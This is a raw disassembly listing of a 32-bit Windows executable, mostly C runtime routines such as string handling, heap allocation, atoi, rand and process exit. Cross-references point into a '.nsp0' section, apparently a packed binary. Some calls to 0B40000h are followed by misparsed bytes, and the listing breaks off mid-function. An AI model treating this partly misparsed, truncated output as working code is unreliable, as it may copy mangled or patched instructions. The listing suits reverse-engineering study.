		push	[ebp+var_1D8]
		call	sub_40B32A
		pop	ecx
		push	ebx
		call	near ptr 0B40000h
		db	26h
		pop	edi
		pop	esi
		pop	ebx
sub_41B65E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41B888	proc near		; CODE XREF: sub_40E7D2+185p
		jmp	dword_4271D8
sub_41B888	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B890	proc near		; CODE XREF: sub_401000+34p
					; sub_401A09+6Bp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B8B0


loc_41B89C:				; CODE XREF: sub_41B890+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41B8E3
		test	ecx, 3
		jnz	short loc_41B89C
		add	eax, 0


loc_41B8B0:				; CODE XREF: sub_41B890+Aj
					; sub_41B890+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B8B0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41B901
		test	ah, ah
		jz	short loc_41B8F7
		test	eax, 0FF0000h
		jz	short loc_41B8ED
		test	eax, 0FF000000h
		jz	short loc_41B8E3
		jmp	short loc_41B8B0
; ---------------------------------------------------------------------------


loc_41B8E3:				; CODE XREF: sub_41B890+11j
					; sub_41B890+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B8ED:				; CODE XREF: sub_41B890+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B8F7:				; CODE XREF: sub_41B890+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B901:				; CODE XREF: sub_41B890+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41B890	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B90B	proc near		; CODE XREF: sub_4010C3+64p
					; .nsp0:00407340p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41B920
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B95A
; ---------------------------------------------------------------------------


loc_41B920:				; CODE XREF: sub_41B90B+Ej
		test	al, 83h
		jz	short loc_41B958
		push	esi
		call	sub_41E25B
		push	esi
		mov	edi, eax
		call	sub_41E1F5
		push	dword ptr [esi+10h]
		call	sub_41E142
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41B946
		or	edi, 0FFFFFFFFh
		jmp	short loc_41B958
; ---------------------------------------------------------------------------


loc_41B946:				; CODE XREF: sub_41B90B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41B958
		push	eax
		call	sub_41B961
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41B958:				; CODE XREF: sub_41B90B+17j
					; sub_41B90B+39j ...
		mov	eax, edi


loc_41B95A:				; CODE XREF: sub_41B90B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41B90B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B961	proc near		; CODE XREF: sub_4010C3+5Ep
					; sub_40AA8C+B1p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_41B98E
		push	esi
		call	sub_41E3A7
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41B980
		push	eax
		call	sub_41E3D2
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B980:				; CODE XREF: sub_41B961+13j
		push	0
		push	dword_4E2B80
		call	dword_427144	; RtlFreeHeap


loc_41B98E:				; CODE XREF: sub_41B961+7j
		pop	esi
		retn
sub_41B961	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B990	proc near		; CODE XREF: sub_4010C3+45p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41B9B4
		xor	eax, eax
		jmp	loc_41BA5D
; ---------------------------------------------------------------------------


loc_41B9B4:				; CODE XREF: sub_41B990+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B9C7
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41B9D3
; ---------------------------------------------------------------------------


loc_41B9C7:				; CODE XREF: sub_41B990+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41B9D3
; ---------------------------------------------------------------------------


loc_41B9D0:				; CODE XREF: sub_41B990+C4j
		mov	ecx, [ebp+arg_0]


loc_41B9D3:				; CODE XREF: sub_41B990+35j
					; sub_41B990+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41BA05
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41BA05
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41B9EA
		mov	edi, eax


loc_41B9EA:				; CODE XREF: sub_41B990+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	near ptr sub_41C9B0
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41BA50
; ---------------------------------------------------------------------------


loc_41BA05:				; CODE XREF: sub_41B990+49j
					; sub_41B990+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41BA38
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41BA1B
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41BA1B:				; CODE XREF: sub_41B990+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41EF81
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BA62
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BA68
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41BA50
; ---------------------------------------------------------------------------


loc_41BA38:				; CODE XREF: sub_41B990+78j
		push	esi
		call	sub_41EEA8
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41BA6C
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41BA50:				; CODE XREF: sub_41B990+73j
					; sub_41B990+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41B9D0
		mov	eax, [ebp+arg_8]


loc_41BA5D:				; CODE XREF: sub_41B990+1Fj
					; sub_41B990+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41BA62:				; CODE XREF: sub_41B990+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41BA6C
; ---------------------------------------------------------------------------


loc_41BA68:				; CODE XREF: sub_41B990+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41BA6C:				; CODE XREF: sub_41B990+B2j
					; sub_41B990+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41BA5D
sub_41B990	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BA78	proc near		; CODE XREF: sub_4010C3+2Ep
					; sub_41D673+35p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		push	esi
		test	ebx, ebx
		push	edi
		jnz	short loc_41BA93
		push	[esp+10h+arg_4]
		call	sub_41BBCB
		pop	ecx
		jmp	loc_41BB93
; ---------------------------------------------------------------------------


loc_41BA93:				; CODE XREF: sub_41BA78+Aj
		mov	esi, [esp+10h+arg_4]
		test	esi, esi
		jnz	short loc_41BAA9
		push	ebx
		call	sub_41B961
		pop	ecx


loc_41BAA2:				; CODE XREF: sub_41BA78+114j
		xor	eax, eax
		jmp	loc_41BB93
; ---------------------------------------------------------------------------


loc_41BAA9:				; CODE XREF: sub_41BA78+21j
					; sub_41BA78+10Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41BB74
		push	ebx
		call	sub_41E3A7
		mov	ebp, eax
		pop	ecx
		test	ebp, ebp
		jz	loc_41BB51
		cmp	esi, dword_44255C
		ja	short loc_41BB11
		push	esi
		push	ebx
		push	ebp
		call	sub_41EBB2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BAE0
		mov	edi, ebx
		jmp	short loc_41BB09
; ---------------------------------------------------------------------------


loc_41BAE0:				; CODE XREF: sub_41BA78+62j
		push	esi
		call	sub_41E6FD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41BB11
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BAF7
		mov	eax, esi


loc_41BAF7:				; CODE XREF: sub_41BA78+7Bj
		push	eax
		push	ebx
		push	edi
		call	near ptr sub_41C9B0
		push	ebx
		push	ebp
		call	sub_41E3D2
		add	esp, 14h


loc_41BB09:				; CODE XREF: sub_41BA78+66j
		test	edi, edi
		jnz	loc_41BB91


loc_41BB11:				; CODE XREF: sub_41BA78+53j
					; sub_41BA78+73j
		test	esi, esi
		jnz	short loc_41BB18
		push	1
		pop	esi


loc_41BB18:				; CODE XREF: sub_41BA78+9Bj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4E2B80
		call	dword_427148	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_41BB74
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BB3D
		mov	eax, esi


loc_41BB3D:				; CODE XREF: sub_41BA78+C1j
		push	eax
		push	ebx
		push	edi
		call	near ptr sub_41C9B0
		push	ebx
		push	ebp
		call	sub_41E3D2
		add	esp, 14h
		jmp	short loc_41BB70
; ---------------------------------------------------------------------------


loc_41BB51:				; CODE XREF: sub_41BA78+47j
		test	esi, esi
		jnz	short loc_41BB58
		push	1
		pop	esi


loc_41BB58:				; CODE XREF: sub_41BA78+DBj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	ebx
		push	0
		push	dword_4E2B80
		call	dword_42719C	; RtlReAllocateHeap
		mov	edi, eax


loc_41BB70:				; CODE XREF: sub_41BA78+D7j
		test	edi, edi
		jnz	short loc_41BB91


loc_41BB74:				; CODE XREF: sub_41BA78+36j
					; sub_41BA78+B9j
		cmp	dword_4E1578, 0
		jz	short loc_41BB91
		push	esi
		call	sub_41F177
		test	eax, eax
		pop	ecx
		jnz	loc_41BAA9
		jmp	loc_41BAA2
; ---------------------------------------------------------------------------


loc_41BB91:				; CODE XREF: sub_41BA78+93j
					; sub_41BA78+FAj ...
		mov	eax, edi


loc_41BB93:				; CODE XREF: sub_41BA78+16j
					; sub_41BA78+2Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41BA78	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB98	proc near		; CODE XREF: sub_41BBB8+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41F302
		test	eax, eax
		jnz	short loc_41BBA2
		retn
; ---------------------------------------------------------------------------


loc_41BBA2:				; CODE XREF: sub_41BB98+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41F192
		add	esp, 10h
		retn
sub_41BB98	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBB8	proc near		; CODE XREF: sub_4010C3+18p
					; .nsp0:00407314p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41BB98
		add	esp, 0Ch
		retn
sub_41BBB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBCB	proc near		; CODE XREF: sub_4010C3+6p
					; sub_40AA8C+63p ...

arg_0		= dword	ptr  4

		push	dword_4E1578
		push	[esp+4+arg_0]
		call	sub_41BBDD
		pop	ecx
		pop	ecx
		retn
sub_41BBCB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBDD	proc near		; CODE XREF: sub_41BBCB+Ap
					; sub_41D665+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41BC06


loc_41BBE4:				; CODE XREF: sub_41BBDD+27j
		push	[esp+arg_0]
		call	sub_41BC09
		test	eax, eax
		pop	ecx
		jnz	short locret_41BC08
		cmp	[esp+arg_4], eax
		jz	short locret_41BC08
		push	[esp+arg_0]
		call	sub_41F177
		test	eax, eax
		pop	ecx
		jnz	short loc_41BBE4


loc_41BC06:				; CODE XREF: sub_41BBDD+5j
		xor	eax, eax

locret_41BC08:				; CODE XREF: sub_41BBDD+13j
					; sub_41BBDD+19j
		retn
sub_41BBDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BC09	proc near		; CODE XREF: sub_41BBDD+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, dword_44255C
		ja	short loc_41BC21
		push	esi
		call	sub_41E6FD
		test	eax, eax
		pop	ecx
		jnz	short loc_41BC3D


loc_41BC21:				; CODE XREF: sub_41BC09+Bj
		test	esi, esi
		jnz	short loc_41BC28
		push	1
		pop	esi


loc_41BC28:				; CODE XREF: sub_41BC09+1Aj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4E2B80
		call	dword_427148	; RtlAllocateHeap


loc_41BC3D:				; CODE XREF: sub_41BC09+16j
		pop	esi
		retn
sub_41BC09	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BC40	proc near		; CODE XREF: sub_401135+3Cp
					; sub_401135+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41BC93
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41BC87
		neg	ecx
		and	ecx, 3
		jz	short loc_41BC69
		sub	edx, ecx


loc_41BC63:				; CODE XREF: sub_41BC40+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41BC63


loc_41BC69:				; CODE XREF: sub_41BC40+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41BC87
		rep stosd
		test	edx, edx
		jz	short loc_41BC8D


loc_41BC87:				; CODE XREF: sub_41BC40+18j
					; sub_41BC40+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41BC87


loc_41BC8D:				; CODE XREF: sub_41BC40+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BC93:				; CODE XREF: sub_41BC40+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41BC40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BCA0	proc near		; CODE XREF: sub_4018A1+98p
					; .nsp0:00401BC4p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41BD23
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41BCC4
		shr	ecx, 2
		jnz	short loc_41BD31
		jmp	short loc_41BCE5
; ---------------------------------------------------------------------------


loc_41BCC4:				; CODE XREF: sub_41BCA0+1Bj
					; sub_41BCA0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41BCF2
		test	al, al
		jz	short loc_41BCFA
		test	esi, 3
		jnz	short loc_41BCC4
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41BD31


loc_41BCE0:				; CODE XREF: sub_41BCA0+8Fj
		and	ebx, 3
		jz	short loc_41BCF2


loc_41BCE5:				; CODE XREF: sub_41BCA0+22j
					; sub_41BCA0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41BD1E
		dec	ebx
		jnz	short loc_41BCE5


loc_41BCF2:				; CODE XREF: sub_41BCA0+2Bj
					; sub_41BCA0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BCFA:				; CODE XREF: sub_41BCA0+2Fj
		test	edi, 3
		jz	short loc_41BD14


loc_41BD02:				; CODE XREF: sub_41BCA0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41BD96
		test	edi, 3
		jnz	short loc_41BD02


loc_41BD14:				; CODE XREF: sub_41BCA0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41BD87


loc_41BD1B:				; CODE XREF: sub_41BCA0+7Fj
					; sub_41BCA0+F4j
		mov	[edi], al
		inc	edi


loc_41BD1E:				; CODE XREF: sub_41BCA0+4Dj
		dec	ebx
		jnz	short loc_41BD1B
		pop	ebx
		pop	esi


loc_41BD23:				; CODE XREF: sub_41BCA0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BD29:				; CODE XREF: sub_41BCA0+A9j
					; sub_41BCA0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41BCE0


loc_41BD31:				; CODE XREF: sub_41BCA0+20j
					; sub_41BCA0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41BD29
		test	dl, dl
		jz	short loc_41BD7B
		test	dh, dh
		jz	short loc_41BD71
		test	edx, 0FF0000h
		jz	short loc_41BD67
		test	edx, 0FF000000h
		jnz	short loc_41BD29
		mov	[edi], edx
		jmp	short loc_41BD7F
; ---------------------------------------------------------------------------


loc_41BD67:				; CODE XREF: sub_41BCA0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41BD7F
; ---------------------------------------------------------------------------


loc_41BD71:				; CODE XREF: sub_41BCA0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41BD7F
; ---------------------------------------------------------------------------


loc_41BD7B:				; CODE XREF: sub_41BCA0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41BD7F:				; CODE XREF: sub_41BCA0+C5j
					; sub_41BCA0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41BD91


loc_41BD87:				; CODE XREF: sub_41BCA0+79j
		xor	eax, eax


loc_41BD89:				; CODE XREF: sub_41BCA0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41BD89


loc_41BD91:				; CODE XREF: sub_41BCA0+E5j
		and	ebx, 3
		jnz	short loc_41BD1B


loc_41BD96:				; CODE XREF: sub_41BCA0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41BCA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BD9E	proc near		; CODE XREF: sub_41BE29+4p
					; sub_42464C+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41BDA6:				; CODE XREF: sub_41BD9E+34j
		cmp	dword_44276C, 1
		jle	short loc_41BDBE
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_41BDCD
; ---------------------------------------------------------------------------


loc_41BDBE:				; CODE XREF: sub_41BD9E+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_442560
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41BDCD:				; CODE XREF: sub_41BD9E+1Ej
		test	eax, eax
		jz	short loc_41BDD4
		inc	edi
		jmp	short loc_41BDA6
; ---------------------------------------------------------------------------


loc_41BDD4:				; CODE XREF: sub_41BD9E+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41BDE4
		cmp	esi, 2Bh
		jnz	short loc_41BDE8


loc_41BDE4:				; CODE XREF: sub_41BD9E+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41BDE8:				; CODE XREF: sub_41BD9E+44j
		xor	ebx, ebx


loc_41BDEA:				; CODE XREF: sub_41BD9E+7Bj
		cmp	dword_44276C, 1
		jle	short loc_41BDFF
		push	4
		push	esi
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_41BE0A
; ---------------------------------------------------------------------------


loc_41BDFF:				; CODE XREF: sub_41BD9E+53j
		mov	eax, off_442560
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41BE0A:				; CODE XREF: sub_41BD9E+5Fj
		test	eax, eax
		jz	short loc_41BE1B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41BDEA
; ---------------------------------------------------------------------------


loc_41BE1B:				; CODE XREF: sub_41BD9E+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41BE24
		neg	eax


loc_41BE24:				; CODE XREF: sub_41BD9E+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41BD9E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BE29	proc near		; CODE XREF: .nsp0:00402238p
					; .nsp0:00402495p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41BD9E
		pop	ecx
		retn
sub_41BE29	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BE34	proc near
		mov	eax, off_44252C
		test	eax, eax
		jz	short loc_41BE3F
		call	eax ; sub_41CDE8


loc_41BE3F:				; CODE XREF: sub_41BE34+7j
		push	offset dword_429034
		push	offset dword_429020
		call	sub_41BF1C
		push	offset dword_42901C
		push	offset dword_429000
		call	sub_41BF1C
		add	esp, 10h
		retn
sub_41BE34	endp

; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41BE83
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41BE72	proc near		; CODE XREF: sub_41E0F9+1Cp
					; sub_4223CC+2266p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41BE83
		add	esp, 0Ch
		retn
sub_41BE72	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BE83	proc near		; CODE XREF: .nsp0:0041BE69p
					; sub_41BE72+8p

arg_0		= dword	ptr  4
arg_1C		= dword	ptr  20h
arg_24		= dword	ptr  28h

		push	edi
		push	1
		pop	edi
		cmp	dword_4E1540, edi
		jnz	short near ptr loc_41BE9F+1
		push	[esp+4+arg_0]
		call	near ptr 0B40000h
		sub	[eax-18h], edx
		popa
		inc	ecx
		jb	short $+2


loc_41BE9F:				; CODE XREF: sub_41BE83+Aj
		add	[ebx+0C247Ch], eax
		push	ebx
		mov	ebx, [esp-14h+arg_24]
		mov	dword_4E153C, edi
		mov	byte_4E1538, bl
		jnz	short loc_41BEF4
		mov	eax, dword_4E2B94
		test	eax, eax
		jz	short loc_41BEE3
		mov	ecx, dword_4E2B90
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41BEE2


loc_41BECF:				; CODE XREF: sub_41BE83+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41BED7
		call	eax


loc_41BED7:				; CODE XREF: sub_41BE83+50j
		sub	esi, 4
		cmp	esi, dword_4E2B94
		jnb	short loc_41BECF


loc_41BEE2:				; CODE XREF: sub_41BE83+4Aj
		pop	esi


loc_41BEE3:				; CODE XREF: sub_41BE83+3Cj
		push	offset dword_429040
		push	offset dword_429038
		call	sub_41BF1C
		pop	ecx
		pop	ecx


loc_41BEF4:				; CODE XREF: sub_41BE83+33j
		push	offset dword_42904C
		push	offset dword_429044
		call	sub_41BF1C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41BF1A
		push	[esp-18h+arg_1C]
		mov	dword_4E1540, edi
		call	dword_427068	; ExitProcess


loc_41BF1A:				; CODE XREF: sub_41BE83+85j
		pop	edi
		retn
sub_41BE83	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41BF1C	proc near		; CODE XREF: sub_41BE34+15p
					; sub_41BE34+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41BF21:				; CODE XREF: sub_41BF1C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41BF34
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41BF2F
		call	eax


loc_41BF2F:				; CODE XREF: sub_41BF1C+Fj
		add	esi, 4
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF34:				; CODE XREF: sub_41BF1C+9j
		pop	esi
		retn
sub_41BF1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BF36	proc near		; CODE XREF: sub_401A09+5Bp
					; .nsp0:00401EA5p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41F504
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41BF76
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41BF83
; ---------------------------------------------------------------------------


loc_41BF76:				; CODE XREF: sub_41BF36+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F3EF
		pop	ecx
		pop	ecx


loc_41BF83:				; CODE XREF: sub_41BF36+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41BF36	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BF88	proc near		; CODE XREF: .nsp0:0040129Ap
					; .nsp0:00404CB2p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_442510, eax
		retn
sub_41BF88	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BF92	proc near		; CODE XREF: .nsp0:loc_4028A7p
					; .nsp0:00404FCBp ...
		mov	eax, dword_442510
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_442510, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41BF92	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BFB0	proc near		; CODE XREF: .nsp0:00401C00p
					; .nsp0:00401DBAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41C02A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41C017


loc_41BFC8:				; CODE XREF: sub_41BFB0+52j
					; sub_41BFB0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41BFEA
		test	al, al
		jz	short loc_41BFE4


loc_41BFD9:				; CODE XREF: sub_41BFB0+32j
		mov	al, [esi]
		inc	esi


loc_41BFDC:				; CODE XREF: sub_41BFB0+3Fj
		cmp	al, dl
		jz	short loc_41BFEA
		test	al, al
		jnz	short loc_41BFD9


loc_41BFE4:				; CODE XREF: sub_41BFB0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41BFEA:				; CODE XREF: sub_41BFB0+23j
					; sub_41BFB0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41BFDC
		lea	edi, [esi-1]


loc_41BFF4:				; CODE XREF: sub_41BFB0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41C023
		mov	al, [esi]
		add	esi, 2
